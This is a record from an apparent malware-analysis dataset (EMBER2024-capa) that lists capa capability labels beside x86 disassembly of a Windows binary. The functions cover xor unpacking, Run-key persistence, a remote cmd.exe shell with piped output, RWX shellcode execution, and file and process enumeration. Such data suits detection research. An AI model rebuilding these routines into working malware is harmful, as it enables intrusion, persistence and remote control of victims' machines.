joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x438cbd
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x438a14
sub eax, 1
mov esi, esi
dec esi
call fcn.00438cf3
and esi, esi
xor dword [ecx], edi
and eax, esi
sub eax, esi
add esi, 0x5b14ecc8
inc ecx
add esi, 1
cmp ecx, edx
jne fcn.00438cbd
sub eax, esi
push esi
pop eax
ret
Function at 0x401000
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov byte [ebp - 0x19], 0x41
jmp 0x401022
mov al, byte [ebp - 0x19]
add al, 1
mov byte [ebp - 0x19], al
movsx ecx, byte [ebp - 0x19]
cmp ecx, 0x5a
jg 0x401103
movsx edx, byte [ebp - 0x19]
push edx
push 0x4072a8
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x401084
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x14]
push eax
call sub.MSVCR100.dll_strcpy
add esp, 8
mov dword [ebp - 0xc], 3
push 0
push 0
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401960
mov dword [ebp - 4], eax
jmp 0x4010fe
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 5
jne 0x4010c2
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x14]
push edx
call sub.MSVCR100.dll_strcpy
add esp, 8
mov dword [ebp - 0xc], 5
push 0
push 0
push 0x10
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401960
mov dword [ebp - 4], eax
jmp 0x4010fe
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x4010fe
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x14]
push ecx
call sub.MSVCR100.dll_strcpy
add esp, 8
mov dword [ebp - 0xc], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401960
mov dword [ebp - 4], eax
jmp 0x40101a
mov dword [ebp - 8], 1
push 0
push 0
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401960
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4
Function at 0x401130
Capabilities:
Enumerate files on windows
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x398
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x6c], 0
mov byte [ebp - 0xec], 0
mov byte [ebp - 0x60], 0
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffff
jne 0x4011c0
mov dword [ebp - 0xf0], 1
push str._cant_access_
lea edx, [ebp - 0xec]
push edx
call sub.MSVCR100.dll_strcpy
add esp, 8
mov dword [ebp - 0x3c], 1
push 0
push 0
push 0xb8
lea eax, [ebp - 0xf0]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401960
jmp 0x401349
push 0x160
push 0
lea edx, [ebp - 0x390]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x510
push 0x160
lea eax, [ebp - 0x390]
push eax
push 0x80
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea edx, [ebp - 0x204]
push edx
lea eax, [ebp - 0xec]
push eax
call sub.MSVCR100.dll_strcpy
add esp, 8
mov ecx, dword [ebp - 0x230]
and ecx, 0x10
je 0x401223
mov dword [ebp - 0x40], 1
jmp 0x40122a
mov dword [ebp - 0x40], 0
mov edx, dword [ebp - 0x214]
imul edx, edx, 0xffffffff
add edx, dword [ebp - 0x210]
shr edx, 0xa
add edx, 1
mov dword [ebp - 0x6c], edx
lea eax, [ebp - 0x398]
push eax
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x398]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
movzx ecx, word [ebp - 4]
push ecx
movzx edx, word [ebp - 6]
push edx
movzx eax, word [ebp - 8]
push eax
movzx ecx, word [ebp - 0xa]
push ecx
movzx edx, word [ebp - 0xe]
push edx
movzx eax, word [ebp - 0x10]
push eax
push str._4d__02d__02d__02d:_02d:_02d
lea ecx, [ebp - 0x30]
push ecx
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0x20
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 0x60]
push eax
call sub.MSVCR100.dll_strcpy
add esp, 8
mov dword [ebp - 0x3c], 1
push 0x4072e0
lea ecx, [ebp - 0x204]
push ecx
call sub.MSVCR100.dll_strcmp
add esp, 8
test eax, eax
je 0x4012de
push 0x4072e4
lea edx, [ebp - 0x204]
push edx
call sub.MSVCR100.dll_strcmp
add esp, 8
test eax, eax
jne 0x4012e0
jmp 0x401306
push 0
push 0
push 0xb8
lea eax, [ebp - 0xf0]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401960
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x401306
jmp 0x40131f
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4011c0
mov dword [ebp - 0x3c], 0
push 0
push 0
push 0xb8
lea ecx, [ebp - 0xf0]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401960
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret 8
Function at 0x401420
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00406030
mov byte [ebp - 5], 0
push 0x4072e8
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401453
xor al, al
jmp 0x4015b4
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0x90]
jae 0x4015a5
mov edx, dword [ebp + 0x90]
sub edx, dword [ebp - 0xc]
cmp edx, 0x1000
jbe 0x40150e
push 0
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401ac0
test eax, eax
jne 0x4014bb
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x4015b4
mov ecx, dword [ebp - 4]
push ecx
push 0x1000
push 1
lea edx, [ebp - 0x1010]
push edx
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp eax, 0x1000
je 0x4014fd
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x4015b4
mov edx, dword [ebp - 0xc]
add edx, 0x1000
mov dword [ebp - 0xc], edx
jmp 0x4015a0
push 0
push 0
mov eax, dword [ebp + 0x90]
sub eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1010]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401ac0
test eax, eax
jne 0x40154d
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x4015b4
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 0x90]
sub eax, dword [ebp - 0xc]
push eax
push 1
lea ecx, [ebp - 0x1010]
push ecx
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
mov edx, dword [ebp + 0x90]
sub edx, dword [ebp - 0xc]
cmp eax, edx
je 0x401597
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x4015b4
mov edx, dword [ebp + 0x90]
mov dword [ebp - 0xc], edx
jmp 0x40145a
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret 0xbc
Function at 0x4015c0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00406030
push 0x4072ec
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4015ef
xor al, al
jmp 0x4016e3
mov dword [ebp - 8], 0
push 2
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.MSVCR100.dll_fseek]
add esp, 0xc
test eax, eax
je 0x40161f
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
xor al, al
jmp 0x4016e3
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCR100.dll_ftell]
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x401649
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
xor al, al
jmp 0x4016e3
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fseek]
add esp, 0xc
test eax, eax
je 0x40166f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
xor al, al
jmp 0x4016e3
mov ecx, dword [ebp - 8]
mov dword [ebp + 0x90], ecx
mov edx, dword [ebp - 4]
push edx
push 0x1000
push 1
lea eax, [ebp - 0x1008]
push eax
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
mov dword [ebp - 0x100c], eax
cmp dword [ebp - 0x100c], 0
je 0x4016d4
push 0
push 0
mov ecx, dword [ebp - 0x100c]
push ecx
lea edx, [ebp - 0x1008]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401960
test eax, eax
jne 0x4016d2
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
xor al, al
jmp 0x4016e3
jmp 0x401678
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret 0xbc

Function at 0x4017e0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
mov dword [ebp - 8], 0
mov eax, 1
mov word [ebp - 0x10], ax
mov ecx, 2
mov word [ebp - 0xc], cx
movzx edx, word [ebp - 0x10]
and edx, 0xff
movzx eax, dl
movzx ecx, word [ebp - 0xc]
and ecx, 0xff
movzx edx, cl
shl edx, 8
or eax, edx
mov word [ebp - 4], ax
lea eax, [ebp - 0x1a0]
push eax
movzx ecx, word [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401844
xor eax, eax
jmp 0x401849
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x401870
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 1
push 0
push 0
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40189a
mov dword [ebp - 8], 0
jmp 0x4018a8
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x401cf0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401d24
xor al, al
jmp 0x401d60
mov eax, dword [ebp + 0x14]
push eax
call sub.MSVCR100.dll_strlen
add esp, 4
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 1
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401d54
xor al, al
jmp 0x401d60
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401f90
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.MSVCR100.dll__access]
add esp, 8
test eax, eax
jne 0x401fb0
mov al, 1
jmp 0x402063
mov dword [ebp - 0x14], 0x1000
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 4
mov dword [ebp - 0x10], eax
push 0x407328
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCR100.dll_fopen]
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401ffd
push 0x40732c
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402001
xor al, al
jmp 0x402063
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
push 1
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x40203a
mov ecx, dword [ebp - 0xc]
push ecx
push 1
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
jmp 0x402001
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.MSVCR100.dll_free]
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x4023a0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0xc]
push edx
call fcn.00402260
add esp, 0xc
movzx eax, al
test eax, eax
jne 0x4023f7
call fcn.00402220
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0xc]
push eax
call fcn.00402350
add esp, 0xc
xor al, al
jmp 0x40252e
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00402070
add esp, 4
movzx edx, al
test edx, edx
jne 0x402421
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
call fcn.004020a0
add esp, 0xc
xor al, al
jmp 0x40252e
cmp dword [0x40b434], 0
je 0x4024c2
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCR100.dll_strlen
add esp, 4
mov esi, eax
mov edx, dword [0x40b434]
push edx
call sub.MSVCR100.dll_strlen
add esp, 4
lea eax, [esi + eax + 0xa]
push eax
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 4
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCR100.dll_strlen
add esp, 4
mov esi, eax
mov edx, dword [0x40b434]
push edx
call sub.MSVCR100.dll_strlen
add esp, 4
lea eax, [esi + eax + 0xa]
push eax
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.MSVCR100.dll_strcpy
add esp, 8
push 0x407350
mov ecx, dword [ebp - 0x10]
push ecx
call sub.MSVCR100.dll_strcat
add esp, 8
mov edx, dword [0x40b434]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.MSVCR100.dll_strcat
add esp, 8
jmp 0x4024c8
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push connect
call fcn.00401cf0
add esp, 0x10
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
test ecx, ecx
jne 0x402501
push 0
push 0
mov edx, dword [ebp - 0xc]
push edx
call fcn.004020a0
add esp, 0xc
xor al, al
jmp 0x40252e
mov eax, dword [ebp - 0x14]
push eax
push 1
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004020a0
add esp, 0xc
call fcn.00402220
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0xc]
push ecx
call fcn.00402350
add esp, 0xc
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402ad0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a4
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov byte [ebp - 0x158], 0
push 0x12b
push 0
lea eax, [ebp - 0x157]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
mov byte [ebp - 0x958], 0
push 0x7ff
push 0
lea ecx, [ebp - 0x957]
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
mov dword [ebp - 0x9a4], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xc
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 1
push 0
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x402b69
jmp 0x402c96
mov dword [ebp - 0x9a0], 0x44
lea edx, [ebp - 0x9a0]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x960], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x964], ecx
xor edx, edx
mov word [ebp - 0x970], dx
mov dword [ebp - 0x974], 0x101
push 0x12c
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.cmd.exe__c
lea ecx, [ebp - 0x158]
push ecx
call sub.MSVCR100.dll_strcat
add esp, 8
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x158]
push eax
call sub.MSVCR100.dll_strcat
add esp, 8
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x9a0]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x158]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402c12
jmp 0x402c96
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 1
test edx, edx
je 0x402c85
push 0
lea eax, [ebp - 0x9a4]
push eax
push 0x800
lea ecx, [ebp - 0x958]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402c4a
jmp 0x402c85
push 0
push 0
mov eax, dword [ebp - 0x9a4]
push eax
lea ecx, [ebp - 0x958]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401960
push 0x800
push 0
lea eax, [ebp - 0x958]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402c1c
push 0
push 1
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401960
cmp dword [ebp - 8], 0
je 0x402ca6
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0
je 0x402cb6
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4032c0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x40
push 0x3000
mov eax, dword [0x409014]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
mov ecx, dword [0x409014]
push ecx
push 0x409018
mov edx, dword [ebp - 8]
push edx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
mov esp, ebp
pop ebp
ret
Function at 0x403410
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
call fcn.00402d00
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4030f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403445
mov eax, 1
jmp 0x403569
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 8]
push edx
push 0
push 0
push 0x403240
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403479
mov eax, 1
jmp 0x403569
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004032c0
mov ecx, 1
test ecx, ecx
je 0x403531
call fcn.00403680
test eax, eax
je 0x403527
push 0x401
call sub.MSVCR100.dll_void____cdecl_operator_new___unsigned_int_
add esp, 4
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0xc], edx
mov eax, 1
test eax, eax
je 0x40350e
push 0x401
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0
push 0x400
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [section..data]
push eax
call fcn.00401ac0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x40350a
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.004038f0
add esp, 8
mov dword [ebp - 0x10], eax
jmp 0x40350c
jmp 0x40350e
jmp 0x4034b8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
add esp, 4
mov dword [ebp - 0xc], 0
call fcn.00403750
jmp 0x403488
call fcn.00401850
lea edx, [ebp - 8]
push edx
push 0
push 0
push 0x402e70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40355d
mov eax, 1
jmp 0x403569
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10

Function at 0x403570
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4035a6
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x4035c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x138], 0x128
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 8], 0
je 0x403646
push 0
push 0
push 0x12c
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401960
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp - 0x13c]
push edx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x403606
mov dword [ebp - 0x10], 1
push 0
push 0
push 0x12c
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401960
mov eax, dword [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x403750
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x40b838], 0
je 0x403790
push 0
mov eax, dword [0x40b838]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0xffffffffffffffff
mov ecx, dword [0x40b838]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [0x40b838]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x40b838], 0
cmp dword [section..data], 0xffffffff
je 0x4037a4
mov eax, dword [section..data]
push eax
call fcn.00401b50
mov dword [section..data], 0xffffffff
mov eax, 1
pop ebp
ret